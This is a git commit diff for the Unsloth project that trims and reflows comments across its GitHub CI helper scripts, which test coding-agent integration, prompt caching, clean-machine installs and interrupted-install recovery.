Local UI to run and train LLMs and diffusion models. Supports GGUF, MLX, Qwen3.8, DeepSeek-V4.1, MiniMax-H3, Gemma 4, FLUX and more.
Python agentaichatgptdeepseekfine-tuninggemmaimage-generationllamallmllmsopenaipythonqwenreinforcement-learningself-hostedstable-diffusiontext-to-speechttsuiunsloth
Reduce comment volume across the installers, CLI, unsloth package and backend utilities (#10504)
Daniel Han11bed73f491e
diff --git a/.github/scripts/agent-guides-drive.sh b/.github/scripts/agent-guides-drive.shindex 114b5a6ef42..6c05cf9aa70 100755--- a/.github/scripts/agent-guides-drive.sh+++ b/.github/scripts/agent-guides-drive.sh@@ -1,27 +1,22 @@#!/usr/bin/env bash# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.-## Drive one coding agent against the running `unsloth run` server for the# Local Agent Guides CI. All failures from here are failure class (c)# "guide drift": the server preflight already passed and the agent CLI# already installed, so a failure here means the documented recipe in# unsloth_cli/commands/start.py no longer produces a working flow.-## Self-updating: for all seven agents (claude, codex, hermes, openclaw,# opencode, pi, dsh) we obtain the exact env + command from# `unsloth start <agent> --no-launch` and run THAT, so a recipe change is# exercised automatically.-## Every agent invocation is wrapped in `timeout` so a headless-TTY prompt# can never hang the runner -- a timeout is reported as guide drift with a# distinct message.-## Usage:# agent-guides-drive.sh connection <agent># agent-guides-drive.sh file-edit <agent># agent-guides-drive.sh attribution-ab claude-## Required env (exported by serve-unsloth-run.sh):# UNSLOTH_BASE_URL UNSLOTH_API_KEY UNSLOTH_MODEL_ID# UNSLOTH_LLAMA_LOG_DIR AGENT_INVOKE_TIMEOUT UNSLOTH_SEED@@ -79,7 +74,6 @@ CONNECT_REF="unsloth_cli/commands/start.py"# and restricting tools cuts the prefill to a few hundred tokens so it completes# quickly on CPU. These only shape the request size; the start.py recipe# (endpoint, auth, model) is still exercised end to end.-## The bulk of Claude Code's prompt is the built-in tool JSON schemas: measured# via `claude -p /context`, the default prompt is ~28k tokens of which ~18k is# "System tools" alone. --allowedTools/--disallowedTools only gate PERMISSION to@@ -88,7 +82,6 @@ CONNECT_REF="unsloth_cli/commands/start.py"# (~16 tok/s) overran claude's own request timeout into a retry loop. --tools is# the flag that restricts which schemas are sent. (The ~8k "Memory files" chunk# is auto-loaded CLAUDE.md; the unsloth repo ships none, so it is 0 in CI.)-## Connection probe: --tools "" sends ZERO tool schemas, leaving ~20 tokens total# (a one-line --system-prompt-file + the user turn), which prefills instantly.CLAUDE_CONNECT_FLAGS=(@@ -154,7 +147,6 @@ assert_reply() {# Blaming start.py for the second is wrong, so flag it and let the caller judge# the turn on its assertions. TIMED_OUT is global: callers with no assertion that# can rescue a partial turn (connection, resume, attribution-ab) treat it as fatal.-## Deciding that the cap was hit needs care. timeout(1) reports 124 when the# command dies on the TERM it sends, but a CLI that catches or ignores TERM is# not bounded at all without --kill-after (measured: a TERM-ignoring loop under@@ -501,7 +493,6 @@ invoke_via_connect() { # $1=outfile, rest=extra args appended to the commandreturn "$rc"}-# ═════════════════════════════════════════════════════════════════════════case "$MODE" in# ── connection: trivial prompt, assert a non-empty, error-free reply ────connection)diff --git a/.github/scripts/agent-guides-install.sh b/.github/scripts/agent-guides-install.shindex b1df4f1955b..ba50deadd90 100755--- a/.github/scripts/agent-guides-install.sh+++ b/.github/scripts/agent-guides-install.sh@@ -1,14 +1,12 @@#!/usr/bin/env bash# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.-## Install one coding-agent CLI for the Local Agent Guides CI. Isolated as# failure class (b) "agent package install failed": npm/curl flakiness here# is the single biggest source of false reds, so installs retry with# backoff and the only ::error:: this script can emit is class (b). The# install recipes mirror the install_hint strings in# unsloth_cli/commands/start.py at HEAD.-## Usage: agent-guides-install.sh <agent># agent in: claude codex hermes openclaw opencode pi dshset -uo pipefaildiff --git a/.github/scripts/assert-llama-loads.sh b/.github/scripts/assert-llama-loads.shindex 6b4cfc56251..341ba766315 100755--- a/.github/scripts/assert-llama-loads.sh+++ b/.github/scripts/assert-llama-loads.sh@@ -1,7 +1,6 @@#!/usr/bin/env bash# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.-## Assert Unsloth installed a llama.cpp that loads and runs on THIS macOS. Tests# the contract that matters (binaries load and their minimum-OS is <= this host)# instead of the old "did install.sh fall back to a source build?" grep, since adiff --git a/.github/scripts/assert-nobuild.ps1 b/.github/scripts/assert-nobuild.ps1index 38faf09d625..ea21b468e89 100644--- a/.github/scripts/assert-nobuild.ps1+++ b/.github/scripts/assert-nobuild.ps1@@ -5,7 +5,6 @@# `shell: bash`: the scrub drops every `*\Git\*` PATH entry the bash version needs# sed/grep/tr/sort from, and it also runs inside the servercore container, which has no# bash. Both Windows lanes call this one file so the sdist allowlist cannot drift.-## Usage: assert-nobuild.ps1 -LogPath logs/install.log (exit 1 = a source build)[CmdletBinding()]param([Parameter(Mandatory = $true)][string] $LogPath)diff --git a/.github/scripts/assert-prompt-cache.sh b/.github/scripts/assert-prompt-cache.shindex 56cecdb59e5..72d382d9732 100755--- a/.github/scripts/assert-prompt-cache.sh+++ b/.github/scripts/assert-prompt-cache.sh@@ -1,9 +1,7 @@#!/usr/bin/env bash# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.-## Prompt-cache (KV-cache prefix reuse) detection, two strategies in one helper:-## mode=api A 2-turn /v1/chat/completions probe. Turn 2 prepends turn 1 +# its reply, so the shared prefix must be served from llama.cpp's# KV cache. Asserts usage.prompt_tokens_details.cached_tokens > 0@@ -12,7 +10,6 @@# llama-server's real cached_tokens through# studio/backend/routes/inference.py:482-489 (_prompt_tokens_details)# into prompt_tokens_details (inference.py:519).-## mode=log Read the llama-server log and decide HIT vs MISS from the# prompt-reprocessing trace. WHY the log (not the API field):# the Anthropic /v1/messages path builds AnthropicUsage(@@ -24,17 +21,14 @@# Code is the canonical Anthropic agent) can get a real KV-cache# hit that the API usage field reports as 0. The only ground# truth for the Anthropic path is the llama-server log.-## Log location (verified): studio/backend/core/inference/llama_cpp.py:4363-4365# _swa_cache_path().parent/"logs"/"llama-server"/llama-<ts>[label]-port-<P>[-try<N>].log# _swa_cache_path() => $UNSLOTH_STUDIO_HOME|$STUDIO_HOME or ~/.unsloth/studio# (llama_cpp.py:337-340). So default: ~/.unsloth/studio/logs/llama-server/.-## <P> is the INTERNAL llama-server port (self._find_free_port(),# llama_cpp.py:3489 / :4641) -- a RANDOM port, NOT the Unsloth port. So we must# NOT filter the log glob by STUDIO_PORT (the brief's `port-<STUDIO_PORT>`# glob would never match). We pick the newest llama-*.log instead.-## Usage:# assert-prompt-cache.sh api BASE_URL API_KEY# assert-prompt-cache.sh log EXPECT # EXPECT = HIT | MISS@@ -42,21 +36,17 @@# # byte offsets from env (see below)# assert-prompt-cache.sh mark # print current log size to stdout# # (use to bracket a turn)-## Env for mode=log:# LLAMA_LOG_DIR override the log dir (default ~/.unsloth/studio/logs/llama-server)# CACHE_LOG_FROM byte offset to start scanning the newest log from (so we# only look at the trace produced by THIS turn). Default 0.-## Exit codes: 0 = assertion held; 1 = assertion failed (::error:: emitted).set -uo pipefailMODE="${1:?usage: assert-prompt-cache.sh api|log|mark ...}"-# ---------------------------------------------------------------------------# Locate the newest llama-server log. Shared by mark + log modes.-# ---------------------------------------------------------------------------_default_log_dir() {local home="${UNSLOTH_STUDIO_HOME:-${STUDIO_HOME:-}}"if [ -n "$home" ]; then@@ -77,10 +67,8 @@ _newest_log() {}case "$MODE" in- # -------------------------------------------------------------------------# mark: emit the current byte size of the newest llama log so a caller can# scan only the slice a single turn produced (set CACHE_LOG_FROM to it).- # -------------------------------------------------------------------------mark)log="$(_newest_log || true)"if [ -n "$log" ] && [ -f "$log" ]; then@@ -91,9 +79,7 @@ case "$MODE" inexit 0;;- # -------------------------------------------------------------------------# api: 2-turn /v1/chat/completions, assert turn-2 cached_tokens > 0.- # -------------------------------------------------------------------------api)BASE_URL="${2:?usage: assert-prompt-cache.sh api BASE_URL API_KEY}"API_KEY="${3:?usage: assert-prompt-cache.sh api BASE_URL API_KEY}"@@ -160,10 +146,8 @@ case "$MODE" inexit 0;;- # -------------------------------------------------------------------------# log: classify the newest llama-server log (from CACHE_LOG_FROM bytes on)# as HIT or MISS and compare to EXPECT.- # -------------------------------------------------------------------------log)EXPECT="${2:?usage: assert-prompt-cache.sh log HIT|MISS}"FROM="${CACHE_LOG_FROM:-0}"@@ -178,7 +162,6 @@ case "$MODE" in# Scan only the slice produced after FROM.slice="$(tail -c "+$((FROM + 1))" "$log" 2>/dev/null || cat "$log")"- # ---- HIT detectors (most-specific first) -----------------------------# 1. Modern + legacy "re-used N tokens" / "reused N" (N>0). Primary signal# per the design brief.reused_n="$(printf '%s\n' "$slice" \@@ -197,7 +180,6 @@ case "$MODE" in| grep -aoiE 'tokens_cached[^0-9]*([0-9]+)' \| grep -aoE '[0-9]+' | sort -rn | head -1 || true)"- # ---- MISS detectors --------------------------------------------------# Explicit forced full re-processing (SWA / recurrent) or kv cache rm [0,.forced_full=0if printf '%s\n' "$slice" | grep -aqiE 'forcing full prompt re-?processing|kv cache rm \[0,'; thendiff --git a/.github/scripts/boot-studio-api-only.sh b/.github/scripts/boot-studio-api-only.shindex 4fbae8c0c4e..96aa45574bb 100755--- a/.github/scripts/boot-studio-api-only.sh+++ b/.github/scripts/boot-studio-api-only.sh@@ -1,14 +1,11 @@#!/usr/bin/env bash# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.-## Wipe Unsloth's auth state and boot `unsloth studio` in the background, exporting# the pid so a later step can stop it.-## Usage:# boot-studio-api-only.sh --port 18888 [--log logs/studio.log] [--pid-var STUDIO_PID]# [--api-only]-## On the name, and on --api-only being a flag rather than the default. The# UNSLOTH_API_ONLY=1 below reads like the switch and is not: nothing in unsloth_cli# takes it as input. Whether the web UI is served is decided by the CLI's --api-only@@ -19,11 +16,9 @@# driving a browser at a backend with no UI. Hence opt-in: callers with no built# `studio/frontend/dist` (mlx-ci.yml boots on a bare pip install) must ask for it, or# the server prints "Unsloth frontend build not found" and exits before it binds.-## Twenty steps across eight workflows ran this same five-line body, varying only# in those three values. Extracted so the three easy-to-get-wrong parts have one# definition:-## * `rm -rf`, not `unsloth studio reset-password`. The boot below has to re-seed# a fresh `.bootstrap_password`, and it only does that when the auth directory# is absent. A caller that "resets" instead silently keeps the old password and@@ -33,11 +28,9 @@# * stdout AND stderr go to the log. The server writes its startup diagnostics to# stderr, so a `>` without `2>&1` produces an empty log on exactly the failure# a reader needs it for.-## NOT for `unsloth run`: that is serve-unsloth-run.sh, which boots a different# command with a different contract (banner API key, /v1/models resolution) and# has nothing to share with this beyond the word "boot".-## Deliberately does not wait for health. The callers' waits differ -- some poll# /api/health and stop, others go on to rotate the bootstrap password and load a# model in the same step -- and folding the simple case in here would leave the@@ -64,7 +57,6 @@ done# Wipe rather than reset: the boot below re-seeds .bootstrap_password only when# the directory is gone. See the header.-## Through $UNSLOTH_STUDIO_HOME, matching run-studio-permission-browser.sh and# run-studio-indicator-browser.sh, which have read it since #9158. This script was# the odd one out, hardcoding the legacy path, and that is what forced everydiff --git a/.github/scripts/clean-machine-assert.sh b/.github/scripts/clean-machine-assert.shindex 3dbee2cc150..9bfb2484fbc 100755--- a/.github/scripts/clean-machine-assert.sh+++ b/.github/scripts/clean-machine-assert.sh@@ -1,9 +1,7 @@#!/usr/bin/env bash# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.-## Assert the clean-machine contract after an install attempt.-## absent The toolchain really was absent for the whole run. Catches a leg that# "passed" because masking silently failed, or because the installer# quietly installed Xcode CLT behind our back.@@ -17,7 +15,6 @@# macho Every Mach-O under $MACHO_ROOT is the host architecture, and every# Mach-O MAIN EXECUTABLE is signed. Closes the Rosetta 2 gap, the one# divergence masking cannot reproduce.-## Usage: bash .github/scripts/clean-machine-assert.sh absent nodylibtool notools dylibpatch nobuild machoset -uo pipefail@@ -254,7 +251,6 @@ for check in "$@"; do# not on a factory-fresh Mac, so an x86_64-only payload runs green here and dies# with "bad CPU type in executable" for the user. `lipo` is an xcrun shim and gone# after masking, so read `file -Lb`, keyed off `uname -m` (macos-15-intel is x86_64).- ## SCOPE: all of $MACHO_ROOT, .venv_t5_510/_530/_550 sidecars included -- payload,# not scratch (setup.sh:579-581 creates them, transformers_version.py:338-348 puts# them on sys.path). Any exclusion must be a named path rule, never a narrowed find.diff --git a/.github/scripts/clean-machine-env.sh b/.github/scripts/clean-machine-env.shindex fca7b84e4bb..75131d85326 100755--- a/.github/scripts/clean-machine-env.sh+++ b/.github/scripts/clean-machine-env.sh@@ -1,11 +1,9 @@#!/usr/bin/env bash# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.-## Simulate a virgin developer machine on a GitHub-hosted runner. Two modes, because# "the tool is absent" and "the installer never called the tool" need different# mechanisms:-## mask Make the toolchain genuinely ABSENT: scrub PATH to OS defaults and (with# --remove) move the real toolchain aside so `command -v git` correctly# FAILS. Deliberately no general "poison shims": a failing shim is still FOUND@@ -16,10 +14,8 @@# trace Leave the toolchain working behind wrappers that log the call then exec# the real binary, answering whether the installer ever REACHES for a# compiler/git without changing behaviour.-## Writes shell exports to $CLEAN_ENV_FILE (default ./clean-machine.env) to `source`;# nothing is exported globally, so other steps keep a normal environment.-## Usage:# bash .github/scripts/clean-machine-env.sh mask [--remove]# bash .github/scripts/clean-machine-env.sh tracediff --git a/.github/scripts/ensure-docker-daemon.ps1 b/.github/scripts/ensure-docker-daemon.ps1index 1d510adcb7a..b6855b53ab6 100644--- a/.github/scripts/ensure-docker-daemon.ps1+++ b/.github/scripts/ensure-docker-daemon.ps1@@ -3,7 +3,6 @@# Waits for the Windows Docker daemon on a hosted runner, starting the service if# it is installed but not running.-## Docker is installed on every windows-2022 image (runner-images uses Microsoft's# install-docker-ce.ps1 without -HyperV, so the daemon serves WINDOWS containers) but is# not always RUNNING at job start: a spike run died 21s in with "failed to connect to thediff --git a/.github/scripts/hf-download-with-retry.sh b/.github/scripts/hf-download-with-retry.shindex 14e970c8446..567dfd1a822 100755--- a/.github/scripts/hf-download-with-retry.sh+++ b/.github/scripts/hf-download-with-retry.sh@@ -1,15 +1,11 @@#!/usr/bin/env bash# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-## Download a single file from a Hugging Face repo with a stall-retry# watchdog. Used by the Unsloth CI workflows so a hung hf-xet transfer# kills + retries instead of silently consuming the job's timeout.-## Usage: hf-download-with-retry.sh REPO FILE LOCAL_DIR-## Why this exists-# ---------------# huggingface_hub 1.15+ deprecated `hf_transfer` and routes every# transfer through the `hf-xet` binary package. In CI we observed# `hf download` on a 3 GB GGUF (gemma-4-E2B-it-UD-Q4_K_XL) progress@@ -25,7 +21,6 @@# start a fresh attempt. Retries are unbounded -- the enclosing# GitHub Actions step's (or, absent one, job's) `timeout-minutes` is# the real bound, so give every step that calls this script one.-## See https://huggingface.co/docs/huggingface_hub/package_reference/environment_variables# for the HF_XET_* documentation, and npm/cli#7308's pattern (silent# CI hang with no error) for prior art on this class of failure.diff --git a/.github/scripts/interrupt-install.ps1 b/.github/scripts/interrupt-install.ps1index 7150e4c5114..f429b7b9cd5 100644--- a/.github/scripts/interrupt-install.ps1+++ b/.github/scripts/interrupt-install.ps1@@ -1,12 +1,9 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.-## Windows counterpart of interrupt-install.sh: run install.ps1 and kill it partway# through, reproducing a user quitting the desktop app mid-install.-## Windows has no process groups (hence the app's windows_job.rs), so this kills the whole# process TREE: killing the leader alone leaves uv/python children to finish the dep pass.-## Usage:# pwsh -File .github/scripts/interrupt-install.ps1 -Marker 'studio deps' `# -LogPath logs/install.log -InstallArgs '--tauri --no-torch --local'@@ -143,7 +140,6 @@ for ($i = 0; $i -lt ($KillAtSeconds * 5); $i++) {# prints before the work, so the kill is inside the phase the moment the line appears,# and any wait is a bet on the phase outlasting it that staging runs 30419729244 and# 30426111484 both lost.- ## The installer can still exit on its own between the match and the signal, which# would record marker-hit over an install that interrupted nothing.if ($proc.HasExited) { $reason = 'exited-before-signal'; break }diff --git a/.github/scripts/interrupt-install.sh b/.github/scripts/interrupt-install.shindex 5c7f86d4128..f04a02ebdc6 100755--- a/.github/scripts/interrupt-install.sh+++ b/.github/scripts/interrupt-install.sh@@ -1,12 +1,10 @@#!/usr/bin/env bash# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.-## Run install.sh and SIGTERM it partway through, reproducing a user quitting the desktop# app mid-install: main.rs cleanup_child_processes() -> install::stop_install() kills the# installer PROCESS GROUP (install.rs:798-807). Group, not leader: the `uv`/`python`# children would otherwise finish the dep pass and the leg would prove nothing.-## Usage: bash .github/scripts/interrupt-install.sh "<marker>" "<logfile>" [-- install args]# <marker> log regex to wait for before killing, e.g. "studio deps"; "" kills at deadline.# Env: KILL_AT_SECONDS deadline (default 900), KILL_GRACE grace before SIGKILL (default 10)@@ -88,7 +86,6 @@ for i in $(seq 1 $(( KILL_AT_SECONDS * 5 ))); do# staging run 30419729244 into a LATER phase, and in 30426111484 it carried the macOS# torch leg from "Installing PyTorch" into "Installing Unsloth", a step the workflow# called minutes long that finished in under three seconds.- ## Between the grep and the signal the installer can still exit on its own, which would# record marker-hit over an install that interrupted nothing.if ! kill -0 "$PID" 2>/dev/null; thendiff --git a/.github/scripts/interrupted_install_probe.py b/.github/scripts/interrupted_install_probe.pyindex 1ee4a4d109b..9e2eec6825c 100644--- a/.github/scripts/interrupted_install_probe.py+++ b/.github/scripts/interrupted_install_probe.py@@ -2,28 +2,13 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-"""After an install is interrupted, decide whether the desktop app WOULD report the-resulting venv as healthy -- reproducing the Tauri preflight probes so the regression-is testable without building the app.--The reported bug: quitting the app during the dependency pass SIGTERMs the installer-(install.rs stop_install), and landing in "studio deps" drops-studio/backend/requirements/studio.txt, where structlog is declared. Preflight probes-`unsloth -h` (managed.rs:419) and `studio desktop-capabilities` (managed.rs:318); both-SUCCEED because typer/click/rich are core, so the app reports ManagedReady with-can_auto_repair=false while the backend dies on `import structlog`.--ONE implementation for all three platforms. The bespoke inline PowerShell probe it-replaced ran only `-h` and `desktop-capabilities`, so it could not observe-`studio_install_ok`, `verify-install` or `desktop-runtime-check`, and would have failed-the very PRs that add them. A probe that cannot see the fix is worse than no probe.--Verdicts:- HEALTHY the backend boots AND desktop-capabilities reports the install- complete -- preflight would report ManagedReady and be right- REPAIRABLE the backend is broken AND a probe the DESKTOP consumes reports it,- so the app can offer a repair- FALSE_READY the backend is broken and every probe says ready -> THE BUG+"""After an install is interrupted, decide whether the desktop app WOULD report the resulting venv as healthy, reproducing the Tauri preflight probes so the regression is testable without building the app.++The reported bug: quitting the app during the dependency pass SIGTERMs the installer (install.rs stop_install), and landing in "studio deps" drops studio/backend/requirements/studio.txt, where structlog is declared. Preflight probes `unsloth -h` (managed.rs:419) and `studio desktop-capabilities` (managed.rs:318); both SUCCEED because typer/click/rich are core, so the app reports ManagedReady with can_auto_repair=false while the backend dies on `import structlog`.++ONE implementation for all three platforms. The bespoke inline PowerShell probe it replaced ran only `-h` and `desktop-capabilities`, so it could not observe `studio_install_ok`, `verify-install` or `desktop-runtime-check`, and would have failed the very PRs that add them: a probe that cannot see the fix is worse than no probe.++Verdicts: HEALTHY (the backend boots AND desktop-capabilities reports the install complete, so preflight would report ManagedReady and be right), REPAIRABLE (the backend is broken AND a probe the DESKTOP consumes reports it, so the app can offer a repair), FALSE_READY (the backend is broken and every probe says ready, THE BUG).Exit: 0 for HEALTHY/REPAIRABLE/NO_CLI, 1 for FALSE_READY, 2 for a usage error."""@@ -43,8 +28,7 @@ from pathlib import Pathdef run(cmd: list[str], timeout: int = 120) -> tuple[int, str, str]:- """(rc, stdout, stderr), kept SEPARATE: preflight pipes stdout and sends stderr to- /dev/null (managed.rs:358), so anything folded in here is text the desktop never sees."""+ """(rc, stdout, stderr), kept SEPARATE: preflight pipes stdout and sends stderr to /dev/null (managed.rs:358), so anything folded in here is text the desktop never sees."""try:p = subprocess.run(cmd, capture_output = True, text = True, timeout = timeout)return p.returncode, p.stdout or "", p.stderr or ""@@ -58,8 +42,7 @@ def merged(rc_out_err: tuple[int, str, str]) -> str:def has_subcommand(bin_path: str, args: list[str]) -> bool:- """Whether the CLI knows the subcommand: older builds lack the verify commands, and- 'absent' must not read as 'reported failure'."""+ """Whether the CLI knows the subcommand: older builds lack the verify commands, and 'absent' must not read as 'reported failure'."""rc, _, _ = run([bin_path, *args, "--help"], timeout = 60)return rc == 0@@ -75,9 +58,7 @@ def main(argv: list[str]) -> int:ap.add_argument("bin", help = "path to the unsloth CLI")ap.add_argument("--port", type = int, default = 0, help = "0 picks a free port")ap.add_argument("--out", default = "probe", help = "directory for probe artefacts")- # The desktop's own grace, BACKEND_STARTUP_GRACE_PERIOD = 5 min (commands.rs:9): less fails a leg the app would wait- # out. It cannot mask the bug: a missing import kills the backend and the loop breaks on proc.poll(), so this- # only bounds a LIVE backend.+ # The desktop's own grace, BACKEND_STARTUP_GRACE_PERIOD = 5 min (commands.rs:9): less fails a leg the app would wait out. It cannot mask the bug, since a missing import kills the backend and the loop breaks on proc.poll(), so this only bounds a LIVE backend.ap.add_argument("--boot-timeout", type = int, default = 300)a = ap.parse_args(argv)@@ -95,10 +76,7 @@ def main(argv: list[str]) -> int:print(f"[probe] {k:28} = {v}")# ── the two probes Tauri preflight actually runs ─────────────────────────- # The DESKTOP's deadline, not a generous CI one: preflight allows each call 10s- # (managed.rs:337 for `-h`, :390 for desktop-capabilities) then reports Stale- # (managed.rs:471, :521). Longer would call a slow torn venv HEALTHY and skip the re-run- # assertion; run() reports a timeout as a non-zero rc, the same REPAIRABLE arm.+ # The DESKTOP's deadline, not a generous CI one: preflight allows each call 10s (managed.rs:337 for `-h`, :390 for desktop-capabilities) then reports Stale (managed.rs:471, :521). Longer would call a slow torn venv HEALTHY and skip the re-run assertion; run() reports a timeout as a non-zero rc, the same REPAIRABLE arm.PREFLIGHT_TIMEOUT = 10t0 = time.time()@@ -118,15 +96,9 @@ def main(argv: list[str]) -> int:say("capabilities_ok", caps_rc == 0)say("capabilities_seconds", round(time.time() - t0, 2))- # Parse EXACTLY as the desktop does: managed.rs:414 hands the whole stdout buffer to serde_json, which rejects- # leading or trailing non-JSON, and stderr was already discarded at managed.rs:358.- # Folding stderr in made one warning line enough to fail the parse and report FALSE_READY over an install the real- # app offers to repair.- # "absent" (studio_install_ok predates the install manifest) and "unparseable" split only for a readable artefact:- # the desktop reports Stale for both ("desktop_capability_probe_failed", managed.rs:521).- # The field is Option<bool> (managed.rs:43), so serde rejects a non-boolean and the whole payload fails to- # deserialize -> Stale; bool() instead read the JSON string "false" as True and reported HEALTHY over a torn- # install. Only a literal JSON true counts.+ # Parse EXACTLY as the desktop does: managed.rs:414 hands the whole stdout buffer to serde_json, which rejects leading or trailing non-JSON, and stderr was already discarded at managed.rs:358. Folding stderr in made one warning line enough to fail the parse and report FALSE_READY over an install the real app offers to repair.+ # "absent" (studio_install_ok predates the install manifest) and "unparseable" split only for a readable artefact: the desktop reports Stale for both ("desktop_capability_probe_failed", managed.rs:521).+ # The field is Option<bool> (managed.rs:43), so serde rejects a non-boolean and the whole payload fails to deserialize into Stale; bool() instead read the JSON string "false" as True and reported HEALTHY over a torn install. Only a literal JSON true counts.install_ok: object = "absent"try:parsed = json.loads(caps_out)@@ -144,18 +116,12 @@ def main(argv: list[str]) -> int:install_ok = "unparseable"say("capabilities.studio_install_ok", install_ok)- # The desktop's own conclusion: Ready only on rc 0 plus a true studio_install_ok.- # The predicate is `!= Some(true)` (managed.rs:445), so an ABSENT field is Stale exactly like a false one;- # a CLI too old to answer is rejected one check earlier on desktop_manageability_version.- # Leaving "absent" undecided reported HEALTHY on every booting leg and skipped the repair assertion: the- # regression `unsloth_cli/commands/studio.py` sits in the path filter to catch.+ # The desktop's own conclusion: Ready only on rc 0 plus a true studio_install_ok. The predicate is `!= Some(true)` (managed.rs:445), so an ABSENT field is Stale exactly like a false one, and a CLI too old to answer is rejected one check earlier on desktop_manageability_version. Leaving "absent" undecided reported HEALTHY on every booting leg and skipped the repair assertion, over the regression in `unsloth_cli/commands/studio.py` that the path filter exists to catch.caps_ready = caps_rc == 0 and install_ok is Truesay("desktop_would_call_install_ok", caps_ready)# ── the deeper probes the fix PRs add ────────────────────────────────────- # RECORDED, not repair evidence: preflight runs only `-h` and- # `studio desktop-capabilities --json` (managed.rs:357, :445), so counting these would- # pass a leg while the real app still reports ManagedReady over a torn install.+ # RECORDED, not repair evidence: preflight runs only `-h` and `studio desktop-capabilities --json` (managed.rs:357, :445), so counting these would pass a leg while the real app still reports ManagedReady over a torn install.for label, args in (("verify_install", ["studio", "verify-install"]),("desktop_runtime_check", ["studio", "desktop-runtime-check"]),@@ -167,28 +133,21 @@ def main(argv: list[str]) -> int:(out / f"{label}.log").write_text(merged(r), encoding = "utf-8", errors = "replace")say(label, "ok" if r[0] == 0 else "failed")- # The in-progress marker #7490 writes before spawning the installer.- # RECORDED ONLY: both drivers seed it and never clear it, so it is true on every leg by construction, and using it- # in the verdict would make FALSE_READY, the one failing outcome, unreachable.+ # The in-progress marker #7490 writes before spawning the installer. RECORDED ONLY: both drivers seed it and never clear it, so it is true on every leg by construction, and using it in the verdict would make FALSE_READY, the one failing outcome, unreachable.home = Path(os.environ.get("UNSLOTH_STUDIO_HOME") or (Path.home() / ".unsloth" / "studio"))say("install_in_progress_marker", (home / ".desktop-install-in-progress").exists())# ── ground truth: does the backend actually boot? ────────────────────────- # Own the whole process tree: the CLI spawns uvicorn/python children that would hold the port and hang the next- # leg's probe. Same reason the driver kills the group.+ # Own the whole process tree: the CLI spawns uvicorn/python children that would hold the port and hang the next leg's probe. Same reason the driver kills the group.popen_kw: dict = {}if os.name == "posix":popen_kw["start_new_session"] = Trueelse:popen_kw["creationflags"] = getattr(subprocess, "CREATE_NEW_PROCESS_GROUP", 0)- # Straight to the artefact file, never a PIPE: nothing drains a pipe until after the polling loop, so a backend- # whose imports outrun the OS buffer (64 KiB on Linux and macOS, one page on Windows) blocks BEFORE binding the- # port, and backend_ok -- what the verdict pivots on -- would be false for a perfectly good install.+ # Straight to the artefact file, never a PIPE: nothing drains a pipe until after the polling loop, so a backend whose imports outrun the OS buffer (64 KiB on Linux and macOS, one page on Windows) blocks BEFORE binding the port, and backend_ok, what the verdict pivots on, would be false for a perfectly good install.blog_path = out / "backend.log"blog_fh = blog_path.open("w", encoding = "utf-8", errors = "replace")- # An interrupted install can leave the console script with its venv interpreter gone.- # An unguarded spawn raises, so no verdict.json is written and both workflows die on json.load.- # An unlaunchable CLI is a broken backend that `-h` flags.+ # An interrupted install can leave the console script with its venv interpreter gone, and an unguarded spawn raises, so no verdict.json is written and both workflows die on json.load. An unlaunchable CLI is a broken backend that `-h` flags.proc = Nonetry:proc = subprocess.Popen(@@ -223,8 +182,7 @@ def main(argv: list[str]) -> int:if os.name == "posix":import signal- # start_new_session made this child its own group leader.- # Read the pgid BEFORE the reap: once waited on, os.getpgid() raises and escalation hits nothing.+ # start_new_session made this child its own group leader. Read the pgid BEFORE the reap: once waited on, os.getpgid() raises and escalation hits nothing.try:pgid = os.getpgid(proc.pid)except OSError:@@ -239,18 +197,13 @@ def main(argv: list[str]) -> int:breakexcept subprocess.TimeoutExpired:continue- # Unconditional, and to the GROUP, the same escalation interrupt-install.sh makes. The leader exits- # promptly on SIGTERM while a uvicorn worker does not, so returning once proc.wait() succeeded left that- # worker holding the port and venv while the repair reinstalled underneath. Signalling an empty group is- # a no-op.+ # Unconditional, and to the GROUP, the same escalation interrupt-install.sh makes: the leader exits promptly on SIGTERM while a uvicorn worker does not, so returning once proc.wait() succeeded left that worker holding the port and venv while the repair reinstalled underneath. Signalling an empty group is a no-op.try:os.killpg(pgid, signal.SIGKILL)except OSError:passelse:- # On win32 the CLI re-spawns the server as a CHILD and waits on it (unsloth_cli/commands/studio.py:1543),- # and CREATE_NEW_PROCESS_GROUP does not make terminate() reach descendants, so killing the wrapper alone- # leaves the venv locked against the repair. taskkill /T takes the tree.+ # On win32 the CLI re-spawns the server as a CHILD and waits on it (unsloth_cli/commands/studio.py:1543), and CREATE_NEW_PROCESS_GROUP does not make terminate() reach descendants, so killing the wrapper alone leaves the venv locked against the repair. taskkill /T takes the tree.run(["taskkill", "/F", "/T", "/PID", str(proc.pid)], timeout = 30)try:proc.wait(timeout = 10)@@ -274,13 +227,7 @@ def main(argv: list[str]) -> int:say("backend_error", missing)# ── verdict ──────────────────────────────────────────────────────────────- # A booting backend is not enough. The manifest is written LAST- # (install_python_stack.py:3255), so the data-designer leg boots while- # desktop-capabilities still says studio_install_ok=false and preflight reports Stale- # (managed.rs:445); calling that HEALTHY skipped the re-run step. `-h` gates it for the- # same reason: probe_managed_bin runs it FIRST and returns Stale "cli_unusable" without- # reaching the capability probe (managed.rs:465-478), so consulting cli_h_ok only in the- # repairable arm called a help-less CLI HEALTHY.+ # A booting backend is not enough. The manifest is written LAST (install_python_stack.py:3255), so the data-designer leg boots while desktop-capabilities still says studio_install_ok=false and preflight reports Stale 